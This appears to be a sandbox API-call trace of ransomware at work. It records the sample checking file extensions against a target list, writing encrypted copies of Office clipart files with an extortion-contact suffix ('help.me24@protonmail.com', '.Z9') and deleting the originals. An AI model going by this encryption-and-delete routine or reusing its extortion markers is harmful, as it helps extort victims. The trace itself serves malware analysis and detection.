	[0187.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.643] lstrlenW (lpString=".1cd") returned 4
	[0187.643] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.643] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153508.WMF") returned 68
	[0187.643] lstrlenW (lpString=".jpg") returned 4
	[0187.643] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.643] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.643] lstrlenW (lpString="J0153514.WMF") returned 12
	[0187.643] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.644] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=12752) returned 1
	[0187.644] CloseHandle (hObject=0x2cc) returned 1
	[0187.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 0x220
	[0187.644] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.644] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.644] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.644] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.645] GetLastError () returned 0x0
	[0187.645] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x31d0, lpOverlapped=0x0) returned 1
	[0187.682] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x31e0, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x31e0, lpOverlapped=0x0) returned 1
	[0187.683] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.683] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.683] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.683] CloseHandle (hObject=0x2d0) returned 1
	[0187.684] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.684] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.687] CloseHandle (hObject=0x2cc) returned 1
	[0187.687] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.687] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153514.wmf")) returned 1
	[0187.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.688] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.688] lstrlenW (lpString=".doc") returned 4
	[0187.688] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.688] lstrlenW (lpString=".docx") returned 5
	[0187.688] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.688] lstrlenW (lpString=".pdf") returned 4
	[0187.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString=".xls") returned 4
	[0187.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.689] lstrlenW (lpString=".xlsx") returned 5
	[0187.689] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.689] lstrlenW (lpString=".ppt") returned 4
	[0187.689] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString=".zip") returned 4
	[0187.689] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.689] lstrlenW (lpString=".rar") returned 4
	[0187.689] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString=".bz2") returned 4
	[0187.689] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString=".7z") returned 3
	[0187.689] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString=".dbf") returned 4
	[0187.689] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString=".1cd") returned 4
	[0187.689] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString=".jpg") returned 4
	[0187.689] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.689] lstrlenW (lpString=".doc") returned 4
	[0187.689] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString=".docx") returned 5
	[0187.689] lstrcmpiW (lpString1=".docx", lpString2="4.WMF") returned -1
	[0187.689] lstrlenW (lpString=".pdf") returned 4
	[0187.689] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.689] lstrlenW (lpString=".xls") returned 4
	[0187.689] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.689] lstrlenW (lpString=".xlsx") returned 5
	[0187.690] lstrcmpiW (lpString1=".xlsx", lpString2="4.WMF") returned -1
	[0187.690] lstrlenW (lpString=".ppt") returned 4
	[0187.690] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.690] lstrlenW (lpString=".zip") returned 4
	[0187.690] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.690] lstrlenW (lpString=".rar") returned 4
	[0187.690] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.690] lstrlenW (lpString=".bz2") returned 4
	[0187.690] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.690] lstrlenW (lpString=".7z") returned 3
	[0187.690] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.690] lstrlenW (lpString=".dbf") returned 4
	[0187.690] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.690] lstrlenW (lpString=".1cd") returned 4
	[0187.690] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.690] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153514.WMF") returned 68
	[0187.690] lstrlenW (lpString=".jpg") returned 4
	[0187.690] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.690] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.690] lstrlenW (lpString="J0153516.WMF") returned 12
	[0187.690] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.704] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=7432) returned 1
	[0187.704] CloseHandle (hObject=0x2cc) returned 1
	[0187.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 0x220
	[0187.704] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.704] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.704] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.705] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.705] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.705] GetLastError () returned 0x0
	[0187.705] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x1d08, lpOverlapped=0x0) returned 1
	[0187.740] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x1d10, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x1d10, lpOverlapped=0x0) returned 1
	[0187.741] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.742] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.742] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.742] CloseHandle (hObject=0x2d0) returned 1
	[0187.742] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.742] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.745] CloseHandle (hObject=0x2cc) returned 1
	[0187.745] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.746] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153516.wmf")) returned 1
	[0187.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.747] lstrlenW (lpString=".doc") returned 4
	[0187.747] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString=".docx") returned 5
	[0187.747] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0187.747] lstrlenW (lpString=".pdf") returned 4
	[0187.747] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString=".xls") returned 4
	[0187.747] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.747] lstrlenW (lpString=".xlsx") returned 5
	[0187.747] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0187.747] lstrlenW (lpString=".ppt") returned 4
	[0187.747] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.747] lstrlenW (lpString=".zip") returned 4
	[0187.747] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.747] lstrlenW (lpString=".rar") returned 4
	[0187.747] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString=".bz2") returned 4
	[0187.747] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString=".7z") returned 3
	[0187.747] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.747] lstrlenW (lpString=".dbf") returned 4
	[0187.747] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.747] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.747] lstrlenW (lpString=".1cd") returned 4
	[0187.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".jpg") returned 4
	[0187.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".doc") returned 4
	[0187.748] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString=".docx") returned 5
	[0187.748] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0187.748] lstrlenW (lpString=".pdf") returned 4
	[0187.748] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString=".xls") returned 4
	[0187.748] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.748] lstrlenW (lpString=".xlsx") returned 5
	[0187.748] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0187.748] lstrlenW (lpString=".ppt") returned 4
	[0187.748] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".zip") returned 4
	[0187.748] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.748] lstrlenW (lpString=".rar") returned 4
	[0187.748] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString=".bz2") returned 4
	[0187.748] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString=".7z") returned 3
	[0187.748] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".dbf") returned 4
	[0187.748] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".1cd") returned 4
	[0187.748] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.748] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153516.WMF") returned 68
	[0187.748] lstrlenW (lpString=".jpg") returned 4
	[0187.748] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.749] lstrcmpiW (lpString1=".WMF", lpString2=".Z9") returned -1
	[0187.749] lstrlenW (lpString="J0153518.WMF") returned 12
	[0187.749] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.750] GetFileSizeEx (in: hFile=0x2cc, lpFileSize=0x2d2ff14 | out: lpFileSize=0x2d2ff14*=12528) returned 1
	[0187.750] CloseHandle (hObject=0x2cc) returned 1
	[0187.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 0x220
	[0187.750] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[help.me24@protonmail.com].z9")) returned 0xffffffff
	[0187.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2cc
	[0187.750] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.750] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.750] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[help.me24@protonmail.com].Z9" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf.id-b4197730.[help.me24@protonmail.com].z9"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2d0
	[0187.751] GetLastError () returned 0x0
	[0187.751] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x30f0, lpOverlapped=0x0) returned 1
	[0187.761] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0x3100, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0x3100, lpOverlapped=0x0) returned 1
	[0187.762] ReadFile (in: hFile=0x2cc, lpBuffer=0x3a5f020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d2fecc, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesRead=0x2d2fecc*=0x0, lpOverlapped=0x0) returned 1
	[0187.762] WriteFile (in: hFile=0x2d0, lpBuffer=0x3a5f020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d2fc94, lpOverlapped=0x0 | out: lpBuffer=0x3a5f020*, lpNumberOfBytesWritten=0x2d2fc94*=0xec, lpOverlapped=0x0) returned 1
	[0187.763] SetEndOfFile (hFile=0x2d0) returned 1
	[0187.763] CloseHandle (hObject=0x2d0) returned 1
	[0187.763] SetFilePointerEx (in: hFile=0x2cc, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d2fec0 | out: lpNewFilePointer=0x0) returned 1
	[0187.763] SetEndOfFile (hFile=0x2cc) returned 1
	[0187.766] CloseHandle (hObject=0x2cc) returned 1
	[0187.766] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF.id-B4197730.[help.me24@protonmail.com].Z9", dwFileAttributes=0x220) returned 1
	[0187.766] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0153518.wmf")) returned 1
	[0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.767] lstrlenW (lpString=".doc") returned 4
	[0187.767] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.767] lstrlenW (lpString=".docx") returned 5
	[0187.767] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.767] lstrlenW (lpString=".pdf") returned 4
	[0187.767] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.767] lstrlenW (lpString=".xls") returned 4
	[0187.767] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.767] lstrlenW (lpString=".xlsx") returned 5
	[0187.767] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.767] lstrlenW (lpString=".ppt") returned 4
	[0187.767] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.767] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.767] lstrlenW (lpString=".zip") returned 4
	[0187.767] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.767] lstrlenW (lpString=".rar") returned 4
	[0187.767] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.767] lstrlenW (lpString=".bz2") returned 4
	[0187.767] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString=".7z") returned 3
	[0187.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString=".dbf") returned 4
	[0187.768] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString=".1cd") returned 4
	[0187.768] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString=".jpg") returned 4
	[0187.768] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString=".doc") returned 4
	[0187.768] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString=".docx") returned 5
	[0187.768] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0187.768] lstrlenW (lpString=".pdf") returned 4
	[0187.768] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString=".xls") returned 4
	[0187.768] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0187.768] lstrlenW (lpString=".xlsx") returned 5
	[0187.768] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0187.768] lstrlenW (lpString=".ppt") returned 4
	[0187.768] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0153518.WMF") returned 68
	[0187.768] lstrlenW (lpString=".zip") returned 4
	[0187.768] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0187.768] lstrlenW (lpString=".rar") returned 4
	[0187.768] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString=".bz2") returned 4
	[0187.768] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0187.768] lstrlenW (lpString=".7z") returned 3
	[0187.768] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
